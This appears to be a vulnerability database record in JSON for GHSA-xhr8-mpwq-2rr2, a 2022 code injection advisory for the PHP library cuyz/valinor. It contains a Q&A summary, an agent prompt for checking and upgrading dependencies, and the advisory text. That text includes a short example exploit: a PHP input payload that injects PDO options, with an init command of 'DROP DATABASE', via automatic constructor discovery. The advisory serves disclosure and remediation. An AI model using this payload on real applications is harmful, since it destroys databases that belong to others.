{"answers":{"affected":"2 open source packages ship an affected version, including cuyz/valinor.","exploited":"There is no known exploitation of GHSA-xhr8-mpwq-2rr2 in the wild and no public exploit code.","fix":"Upgrade cuyz/valinor to 0.7.0 or later.","what":"GHSA-xhr8-mpwq-2rr2 is a code injection vulnerability in cuyz/valinor, published on 1 Apr 2022. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-xhr8-mpwq-2rr2 and fix it if it is affected.\n\nWhat it is: GHSA-xhr8-mpwq-2rr2 is a code injection vulnerability in cuyz/valinor, published on 1 Apr 2022. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-xhr8-mpwq-2rr2 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- cuyz/valinor (Packagist): affected from 0.5.0; fixed in 0.7.0\n- cuyz/valinor (Packagist): affected from 0.5.0; fixed in 0.7.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-xhr8-mpwq-2rr2/ (Markdown: https://insights.sbomify.com/GHSA-xhr8-mpwq-2rr2/index.md)","id":"GHSA-xhr8-mpwq-2rr2","markdown":"https://insights.sbomify.com/GHSA-xhr8-mpwq-2rr2/index.md","name":"GHSA-xhr8-mpwq-2rr2","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"upgrade","impacts":["code_execution","data_modify"],"network_reachable":"yes","non_default_config":false,"product_category":"PHP mapping library","requires_auth":"none","summary":"Automatic constructor discovery allows attackers to inject malicious PDO options via user input, leading to arbitrary database commands or destruction.","user_interaction":"not_required","vuln_class":"code_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Design issue - automatic constructor discovery\n\nThe issue arises when upgrading from `cuyz/valinor:0.3.0` to a newer system on an existing application, which broke due to the wrong constructor being picked.\n\nStill, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.\n\n## Example exploit\n\nTake following DTO example:\n\n```php\nfinal class UserDTO\n{\n    public function __construct(\n        public int $id,\n        public string $name\n    ) {}\n    public static function fromDb(\n        PDO $connection,\n        int $id\n    ): self { /* ... code to fetch the DTO here ... */ }\n}\n```\n\nThere is nothing inherently unsafe about the above `UserDTO`, but when mixed with `cuyz/valinor:^0.5.0` ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:\n\n```php\n// this could be coming from user input:\n$maliciousPayload = [\n    'connection' =\u003e [\n      'dsn' =\u003e 'mysql:host=some-host;database=some-database',\n      'username' =\u003e 'root',\n      'password' =\u003e 'root',\n      'options' =\u003e [\n        // PDO::MYSQL_ATTR_INIT_COMMAND === 1002\n        1002 =\u003e 'DROP DATABASE all-the-moneys'\n      ]\n    ],\n    'id' =\u003e 123,\n];\n\n$treeMapper-\u003emap(\n  UserDTO::class,\n  $maliciousPayload\n); // your DB is gone :D\n```\n\nThe above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.\n\n## Mitigation\n\nVersion 0.7.0 contains a patch for this issue.\n\nAutomatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.","ecosystems":["Packagist"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Automatic named constructor discovery in Valinor","id":"GHSA-xhr8-mpwq-2rr2","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Packagist","product":null,"products":[],"type":"code_injection","year":"2022"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"Packagist","fixed":["0.7.0"],"introduced":["0.5.0"],"last_affected":[],"package":"cuyz/valinor","purl":null,"source":"GHSA-xhr8-mpwq-2rr2"},{"ecosystem":"Packagist","fixed":["0.7.0"],"introduced":["0.5.0"],"last_affected":[],"package":"cuyz/valinor","purl":"pkg:composer/cuyz/valinor","source":"GHSA-xhr8-mpwq-2rr2"}],"products":null,"published":"2022-04-01","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Automatic constructor discovery allows attackers to inject malicious PDO options via user input, leading to arbitrary database commands or destruction.","url":"https://insights.sbomify.com/GHSA-xhr8-mpwq-2rr2/"}